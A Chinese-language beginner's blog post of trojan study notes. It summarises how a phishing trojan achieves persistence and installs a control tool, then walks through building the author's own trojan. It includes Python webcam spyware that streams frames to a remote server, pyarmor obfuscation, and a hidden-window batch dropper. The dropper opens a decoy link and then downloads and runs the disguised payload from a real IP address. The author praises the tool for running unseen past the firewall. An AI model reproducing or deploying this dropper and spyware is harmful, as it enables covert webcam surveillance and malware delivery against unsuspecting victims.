0基础入门木马病毒学习笔记
前言
这篇文章主要是笔者作为一个小白第一次开始了解病毒逆向做的笔记,打算跟着52破解的 定向财务的钓鱼木马分析这篇文章来,先将木马的启动流程走一遍,由于没有找到原木马文件,我也只能先云分析,之后自己写一个简单的木马来模拟攻击者
病毒检测
如果我们遇见一个木马软件,要执行的操作是什么呢,没错就是判断他是不是一个病毒,你可以选择自己分析,使用逆向工具在虚拟机或者沙盒中一步一步对病毒进行分析,观察他有没有对系统进行什么敏感的操作,当然我们也可以使用一些检测沙盒比如VirusTotal - 主页快速的对软件的安全性进行检测

正文开始
那么我们开始分析
病毒执行流程总览

开始
文件的开始都是从一个双击开始的,当你面对一个可疑文件没有任何检测的双击便是悲剧的开场
持久化
持久化就是让攻击者对你的攻击长期有效,最简单的就是你重启程序也依然能对你进行攻击
为了实现持久化我们可以了解windows注册表
注册表
注册表是 Windows 操作系统中一个重要的数据库,用于存储系统和应用程序的配置信息、设置、选项以及其他必要的数据。它就像是系统的 “中央配置仓库”,记录着几乎所有软件和硬件的相关信息,确保系统和程序能够正常运行
注册表采用类似文件系统的 “树形结构”,由以下 5 个主要根键(Hive)组成,每个根键下包含多个子键和值项:
| 根键名称 |
作用描述 |
| HKEY_LOCAL_MACHINE (HKLM) |
存储计算机的硬件和软件的系统级配置,对所有用户生效。 |
| HKEY_CURRENT_USER (HKCU) |
存储当前登录用户的个性化设置,如桌面偏好、应用程序配置等。 |
| HKEY_CLASSES_ROOT (HKCR) |
管理文件类型关联(如.docx 对应 Word 程序)和 COM 组件注册信息。 |
| HKEY_CURRENT_CONFIG (HKCC) |
存储当前硬件配置文件的信息,如显示器分辨率、打印机设置等。 |
| HKEY_USERS (HKU) |
包含所有用户账户的配置信息,HKCU 本质上是 HKU 下某个用户配置的快捷方式。 |
系统启动项
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run:当前用户的启动项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:所有用户的启动项
攻击者使用这两项就可以实现持久化
参考文章中是使用ida动态查找到的注册表信息
释放配置文件
配置文件我们可以简单的理解为是木马程序的指挥手册
下面举一些常见的配置文件类型和实现的功能(后面我实战就是通过.bat文件实现木马的植入)
| 类型 |
技术特征 |
典型用途 |
文本配置文件(.ini .cfg .txt) |
以明文或简单加密存储参数,可直接用记事本查看 例:[Server] Host=hacker.com Port=8080 |
存储网络通信参数、模块加载路径 |
二进制配置文件(.dat .bin .tmp) |
包含 PE 文件片段、加密数据或编译后的指令 需用 Hex 编辑器查看 16 进制数据 |
存储恶意代码本体、加密密钥 |
脚本配置文件(.ps1 .bat .vbs) |
包含可执行脚本指令 例:powershell -c "Invoke-WebRequest http://malware.com/install" |
执行下载、文件修改等操作 |
| 注册表配置(通过注册表项存储) |
利用注册表键值存储配置信息 例:HKEY_CURRENT_USER\Software\AppData\Config 存储启动路径 |
实现系统级持久化配置 |
释放控制程序
在于配置文件相同的目录下释放控制文件安装包
执行控制程序
执行刚刚释放的控制程序安装包,使用-Unpack-logDir"C:\Users\username\AppData\Local\Temp\AgentInstall"-v"4.85.414.0"创建进程,安装IP-gurrd程序(控制程序)
IP-gurrd(合法软件被非法利用)


清除痕迹
删除配置文件和控制程序安装包
个人感悟
木马在执行的过程中,实现持久化,确保开机自启,配置文件释放指挥控制程序安装包配合完成了监控程序的安装,最后删除自己和安装包,形象的比喻的话就像是装有间谍的木马被带进城(双击),在不被观测的地方木马自动打开(释放配置文件,释放控制软件安装包),并藏在城中(安装与运行控制软件),最后木马离开(清除痕迹)
实战
推荐文章【逆向复现】PyInstaller简单复现 - 吾爱破解 - 52pojie.cn标题简单,内容易懂,对入门的我而言受益匪浅
工具总结
pycdc:https://github.com/zrax/pycdc 将pyc文件转为py
pyarmor:https://pyarmor.readthedocs.io/en/latest/ 混淆py代码
pyarmor-unpcker:https://github.com/Svenskithesource/PyArmor-Unpacker 解混淆py代码
pyarmor-tooling:https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling 解混淆py代码
pyinstxtractor:https://github.com/extremecoders-re/pyinstxtractor 将exe转pyc
LovenSar师傅的代码
# Import required modules for OS operations and subprocess management
import os
import subprocess
def execute_command(command):
"""Execute command and return (stdout, stderr, returncode)"""
# Create a new process to execute the command via cmd.exe
process = subprocess.Popen(
['cmd.exe', '/c', command], # Command execution through cmd interpreter
shell=True, # Enable shell execution environment
stdout=subprocess.PIPE, # Capture standard output
stderr=subprocess.PIPE, # Capture error output
universal_newlines=True # Use universal newline decoding
)
try:
# Wait for process completion with 5-second timeout
stdout, stderr = process.communicate(timeout=5)
return stdout, stderr, process.returncode
except subprocess.TimeoutExpired:
# Terminate process if timeout occurs
process.kill()
return "", "Command timeout", -1
# Create minimal PE file stub in C:\ (requires admin privileges)
create_file_cmd = 'echo "MZ" > C:\\svch0st.exe'
# Execute file creation command and capture results
stdout, stderr, code = execute_command(create_file_cmd)
# Verify file creation success/failure
if code == 0:
print("File creation succeeded")
else:
print(f"File creation failed: {stderr}")
# Command to launch Windows calculator
launch_calc_cmd = 'calc.exe'
# Execute calculator launch command
stdout, stderr, code = execute_command(launch_calc_cmd)
# Verify calculator launch success/failure
if code == 0:
print("Calculator launched successfully")
else:
print(f"Calculator launch failed: {stderr}")
# Test command execution using subprocess.run()
test_command = 'echo Hello Python!'
result = subprocess.run(
['cmd.exe', '/c', test_command], # Command list for execution
shell=True, # Maintain shell context
capture_output=True, # Capture both stdout/stderr
text=True # Return output as string instead of bytes
)
# Check test command execution status
if result.returncode == 0:
print("Test command succeeded")
else:
print(f"Test command failed: {result.stderr}")
# Optional cleanup command (disabled by default)
# os.remove("C:\\svch0st.exe")
我中文翻译一下
import os
import subprocess
def execute_command(command):
"""执行命令并返回(标准输出, 错误输出, 返回码)"""
# 创建新进程通过cmd.exe执行命令
process = subprocess.Popen(
['cmd.exe', '/c', command], # 通过cmd解释器执行命令
shell=True, # 启用shell执行环境
stdout=subprocess.PIPE, # 捕获标准输出
stderr=subprocess.PIPE, # 捕获错误输出
universal_newlines=True # 使用通用换行符解码
)
try:
# 等待进程完成,设置5秒超时
stdout, stderr = process.communicate(timeout=5)
return stdout, stderr, process.returncode
except subprocess.TimeoutExpired:
# 超时则终止进程
process.kill()
return "", "命令执行超时", -1
# 在C:\创建最小PE文件存根(需要管理员权限)
create_file_cmd = 'echo "MZ" > C:\\svch0st.exe'
# 执行文件创建命令并捕获结果
stdout, stderr, code = execute_command(create_file_cmd)
# 验证文件创建成功/失败
if code == 0:
print("文件创建成功")
else:
print(f"文件创建失败: {stderr}")
# 启动Windows计算器的命令
launch_calc_cmd = 'calc.exe'
# 执行计算器启动命令
stdout, stderr, code = execute_command(launch_calc_cmd)
# 验证计算器启动成功/失败
if code == 0:
print("计算器启动成功")
else:
print(f"计算器启动失败: {stderr}")
# 使用subprocess.run()测试命令执行
test_command = 'echo Hello Python!'
result = subprocess.run(
['cmd.exe', '/c', test_command], # 要执行的命令列表
shell=True, # 保持shell上下文
capture_output=True, # 捕获标准输出和错误输出
text=True # 以字符串而非字节形式返回输出
)
# 检查测试命令执行状态
if result.returncode == 0:
print("测试命令执行成功")
else:
print(f"测试命令执行失败: {result.stderr}")
# 可选的清理命令(默认禁用)
# os.remove("C:\\svch0st.exe")
开始
通过阅读师傅的代码,笔者对木马的编写也有了一点启蒙,实战来增加一点经验
打开终端
在python中打开终端需要开启一个子进程,使用subprocess库
import subprocess
process = subprocess.Popen(
['cmd.exe', '/c','ipconfig']
)
这是一条最简单的打开终端并执行的代码,打开终端执行ipconfig退出

process的全部参数
import subprocess
# 创建子进程执行命令
process = subprocess.Popen(
['cmd.exe', '/c', 'ipconfig'], # 命令参数列表
# 其他可选参数:
# stdout=subprocess.PIPE, # 捕获标准输出
# stderr=subprocess.PIPE, # 捕获错误输出
# shell=True, # 是否使用shell执行
# cwd=None, # 工作目录
# env=None, # 环境变量
)
# 等待进程完成(可选)
# process.wait()
cmd的参数表
/c |
执行指定命令后立即退出 cmd 窗口 |
/k |
执行指定命令但不退出 cmd 窗口,保持命令提示符打开 |
/s |
修改命令行处理方式,通常与/c或/k结合使用 |
/q |
关闭回显功能,不显示命令执行过程 |
/d |
启动时跳过执行AutoRun注册表项中的命令 |
/a |
设置输出到控制台的文本为 ANSI 字符集 |
/u |
设置输出到控制台的文本为 Unicode 字符集 |
/t:fg |
设置命令提示符窗口的前景色 (f) 和背景色 (g),如/t:0A表示黑底绿字 |
/e:on |
启用命令扩展功能(默认启用) |
/e:off |
禁用命令扩展功能 |
/f:on |
启用文件名完成功能 |
/f:off |
禁用文件名完成功能 |
/v:on |
启用延迟环境变量扩展 |
/v:off |
禁用延迟环境变量扩展 |
弹出计算器
终端其中计算器的指令是calc.exe,我们把开启子进程写成一个函数实现弹出计算器,证明可以打开终端
import subprocess
def startprocess(content):
process = subprocess.Popen(
['cmd.exe', '/c', content], # 命令参数列表
# 其他可选参数:
# stdout=subprocess.PIPE, # 捕获标准输出
# stderr=subprocess.PIPE, # 捕获错误输出
# shell=True, # 是否使用shell执行
# cwd=None, # 工作目录
# env=None, # 环境变量
)
# 等待进程完成(可选)
process.wait()
startprocess('calc.exe')
成功弹出

创建可执行文件
我们尝试使用终端创建一个可执行文件
create_file_cmd = 'echo "MZ" > C:\\svch0st.exe'
借鉴为windows执行的命令
file_creat='echo MZ > C:\svch0st.exe'
import subprocess
def startprocess(content):
process = subprocess.Popen(
['cmd.exe', '/c', content], # 命令参数列表
# 其他可选参数:
# stdout=subprocess.PIPE, # 捕获标准输出
stderr=subprocess.PIPE, # 捕获错误输出
# shell=True, # 是否使用shell执行
# cwd=None, # 工作目录
# env=None, # 环境变量
)
# 等待进程完成(可选)
stderr=process.wait()
return stderr
file_creat="echo 'MZ' > G:\svch0st.exe"
err=startprocess(file_creat)

成功创建(我没有放在c盘因为c盘需要管理员模式,我直接在ide运行就没用管理员模式)
监控软件
由于笔者的基础比较薄弱,所以选择只写一个最简单的监控程序,实现可以打开对方摄像头并将数据使用套接字传输过来的功能就行了
import cv2
import socket
import struct
def capture_and_send(server_address):
cap = cv2.VideoCapture(0)
if not cap.isOpened():
print("无法打开摄像头")
return
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client_socket.connect(server_address)
print(f"已连接到服务器 {server_address}")
while True:
ret, frame = cap.read()
if not ret:
print("无法获取视频帧")
break
# 编码图像
encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), 90]
_, frame_encoded = cv2.imencode('.jpg', frame, encode_param)
string_data = frame_encoded.tobytes()
# 修复1: 使用固定4字节长度头
header = struct.pack("!I", len(string_data))
# 修复2: 合并发送避免TCP分片问题
client_socket.sendall(header + string_data)
# 可选: 本地预览
# cv2.imshow('Local Preview', frame)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
except Exception as e:
print(f"连接错误: {e}")
finally:
client_socket.close()
cap.release()
cv2.destroyAllWindows()
print("连接已关闭")
if __name__ == "__main__":
server_ip = '' # 替换为服务器实际IP
capture_and_send((server_ip, 8001))
这个代码是笔者配合LLM写的,其中要注意的是如果没有有公网ip的服务器进行端口转发的话,这个代码就只能在局域网中有效,因为一个子网的ip不能直接访问另一个子网ip,但是子网能访问公网,所以我们通过客户端将数据传输到公网的服务器上,再由公网上的服务器将数据传输到我们的服务端上,具体的实现我是使用阿里云的服务器,用的Xshell进行ssh连接,服务器和服务端的连接我使用的是openVPN
使用pyarmor加密脚本
pyarmor gen --pack=onefile client.py
--pack=onefile:告诉 PyArmor 准备 PyInstaller 单文件打包。

使用editbin.exe将文件设为无窗口(editbin是vs2022自带的工具,具体在哪儿可以问问ai或百度)

木马实现
开始我想就用python实现部署,但是由于使用的是python打包所以程序是相当的大

那要怎么实现缩小呢
这时候我想起了在吾爱破解上的文章论黑客如何从bat到py到donut到ps1层层包裹木马,揭秘木马神秘运行流程 - 吾爱破解 - 52pojie.cn这个大佬分析的病毒样本就是通过批处理文件实现打开一个无害链接作为混淆,然后再链接远程服务器实现下载运行病毒文件,目前我基础比薄弱就只能写一个比较简单的
@echo off
if "%1" neq "hidden" (
powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"%~f0\" hidden' -Windowstyle Hidden"
exit
)::首次启动:由于没有参数,脚本会通过 PowerShell 启动一个隐藏的命令提示符窗口,并且给它传递hidden参数,随后当前的可见窗口就会退出。当带有hidden参数启动脚本时,条件判断不成立,脚本会正常执行后续命令,而此时窗口是隐藏的。
@echo off
set "pdfurl=https://blog.csdn.net/hanmo22357/article/details/127883179?ops_request_misc=%257B%2522request%255Fid%2522%253A%25227736a8fc7773cc256f8c17c470a8493a%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=7736a8fc7773cc256f8c17c470a8493a&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-127883179-null-null.142^v102^pc_search_result_base4&utm_term=%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80&spm=1018.2226.3001.4187"::设置一个无害链接
start "" "%pdfurl%"::打开
@echo off
powershell -Command "Invoke-WebRequest -Uri 'http://59.110.51.185/downloads/XML_8d5a90c8e1f47893a4b2.html.exe' -OutFile '%~dp0XML_8d5a90c8e1f47893a4b2.html.exe'"::设置一个监控软件下载链接,并下载到当前目录
if exist "%~dp0XML_8d5a90c8e1f47893a4b2.html.exe" (
echo y
start "" "%~dp0XML_8d5a90c8e1f47893a4b2.html.exe"::执行
) else (
echo n
)
下载链接我是通过apche搭了一个网站,并设置了一个强制下载的目录
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
Alias /downloads "/var/www/downloads"
<Directory "/var/www/downloads">
Options -Indexes
Require all granted
# 强制所有文件作为附件下载
Header always set Content-Disposition "attachment"
# 强制所有文件视为二进制
ForceType application/octet-stream
# 禁用内容压缩
SetEnv no-gzip 1
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
最终实现

这个是病毒本体

这个是被下载的监控软件(我使用ResourceHacker.exe,感谢苦瓜甘甜(wszjf) 师傅的分享这里附上链接https://www.52pojie.cn/forum.php?mod=viewthread&tid=1850851&highlight=Resource%2BHacker)换了一个图标,起了一个不是很明显的名字
执行流程

总结
这个木马从开始写到写出来还是断断续续写了有几天,中途也有很多不了解的知识去学习,还有很多功能也没加,比如说会报病毒警告啊,没有做持久化啊,摄像头开启灯会亮等等,还是学的有点浅,以后会优化,还有我觉得好的地方就是软件的下载的运行全是在后台,因为是主动发数据所以不会触发防火墙
参考文章
【病毒分析】定向财务的钓鱼木马分析 - 吾爱破解 - 52pojie.cn
详解Windows(五)——注册表_windows注册表-CSDN博客
【逆向复现】PyInstaller简单复现 - 吾爱破解 - 52pojie.cn
论黑客如何从bat到py到donut到ps1层层包裹木马,揭秘木马神秘运行流程 - 吾爱破解 - 52pojie.cn